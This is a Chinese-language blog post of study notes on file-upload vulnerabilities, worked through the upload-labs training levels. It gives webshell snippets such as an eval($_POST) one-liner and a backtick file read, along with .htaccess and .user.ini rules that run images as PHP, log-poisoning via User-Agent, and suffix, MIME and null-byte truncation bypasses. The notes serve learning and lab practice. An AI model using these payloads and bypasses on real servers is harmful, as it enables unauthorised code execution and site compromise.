4.26文件上传学习

一、文件上传

概念:(不赘述转web安全文件上传)[[9.6-9.7基础和过滤方式]]
前置知识:(除解析漏洞)后门代码需要以特定格式后缀解析,不能以图片后缀解析;

知识点

1、文件上传-前端验证

直接修改前端js代码,文件上传格式;

2、黑白名单

3、user.ini用处(文件包含)(uploadlabs 5

  • 上传.uer.ini文件,apache中同理配置文件.htaccess
    修改文件为

    auto_prepend_file = 1.jpg 或
    auto_append_file = 1.jpg (区别是一个文件前一个文件后)

  • 1.png文件(?php phpinfo();?)

  • 此时访问默认首页index.php文件(调用.user.ini)即可解析到1.png后门文件;

4、htaccess解析特性(uploadlabs 4),未对其过滤,可以直接上传.htaccess使用php解析任意文件;

  • 确保Apache已启动.htaccess覆盖:确保 httpd.conf文件中AllowOverride 指令设置为 All(或相应的覆盖级别),以允许.htaccess文件的配置规则生效。

创建.htaccess文件,内容为

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>   含义是将任意jpg文件结尾的文件以php格式执行
  • 之后先上传.htaccess文件,再上传任意x.jpg后门文件,访问文件地址即可验证后门上传成功;
    5、PHP语言特性

二、 详细点

1、检测层面:前端、后端
2、检测内容:文件头、完整性、二次渲染

过滤上传文件特定内容组合;

<?echo '123';?> (前提开启配置文件short_open_tags=on,短标签)
<?=表达式;?>   如<?=eval($_POST=[x]);?>(不需要开启参数设置)
<% echo '123';%> (前提开启asp_tags=on)
<script language="php">echo '1';</script> (不需要修改开关)推荐2,4

内容绕过屏蔽[],转换成{}即可;

<?=eval($_POST=[x]);?> 改为<?=eval($_POST={x});?>

内容过滤括号(),反引号名执行;

<?=`cat ../fl*`?>

内容过滤反引号,包含日志文件,日志文件头UA写后门代码,寻找对应中间件的日志文件路径;
之后构造任意请求包含后门,后门将再日志文件中触发;

文件头过滤,常用文件头;

JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47

三、黑名单

3、检测后缀(直接):黑名单(asp、php、jsp、aspx、cgi、war)、

MIME解析:多用互联网邮件扩展类型,指某拓展名文件用一种程序打开,如声音audio,图片image/gif、png、jpeg等,video/mpeg(动画),text/plian(纯文本),text/html(html文档);
后端代码限制,抓包修改Content-Type验证格式;

其他非php的网站同理,上传其能解析的后缀后门;

修改Content-Type: image/png 即可绕过

大小写:修改后缀大小写如phP,PHp(uploadlabs-6);

4、绕过技巧:多后缀解析、截断、中间件特性(解析)、条件竞争等

多后缀解析(uploadlabs 3): 若显示禁止文件后缀为.asp,.aspx,php,jsp,则修改如php5、phtml、phtm、php2、php3、phps(php别名)

5、空格绕过,上传后门文件后缀x.php (加空格即可)(uploadlabs-7/10

6、点绕过,后门文件后缀x.php. 进行绕过(==**uploadlabs-8);

7、::$DATA绕过(uploadlabs-9

前提 必须是windows,必须是php,必须是源文件;

文件名+"::$DATA"会把$DATA后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名;

8、双后缀名过滤,代码将字符串里的php替换为空(uploadlabs-7/11);
一次过滤;a.php过滤为a.
a.pphphp过滤为a.php


循环(递归)过滤

a.pphphp过滤为a.

四、白名单(MIME解析

白名单(jpg、png、zip、rar、gif)、MIME检测(==uploadlabs 2==)等

1、%00截断(php版本5.2.x,且magic_quotes_gpc=off关闭。**uploadlabs 12)
解析含义为
chr(0),含义是NULL空字符==

若文件传输地址为../upload/1.php,在get请求中加上截断为,get不需要解码,%00即是url编码后的

../upload/1.php%0011233323123.jpg 相当于截断%00后数据,此时连接后门只取../upload/1.php的地址

2、若传参方式为post,则需要在post传参处截断;但是%00属于url编码,在post请求中服务器不会自动解码为空,所以需要对%00先进行编码;uploadlabs 13

需要%00转化为url编码

3、0x00截断

0x00代表16进制的空字符00,效果一样,在hex中修改

4、0x0a截断

0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置;

重要的是截断的位置;

posted @ 2024-04-27 00:12  路Sang  阅读(9)  评论(0编辑  收藏  举报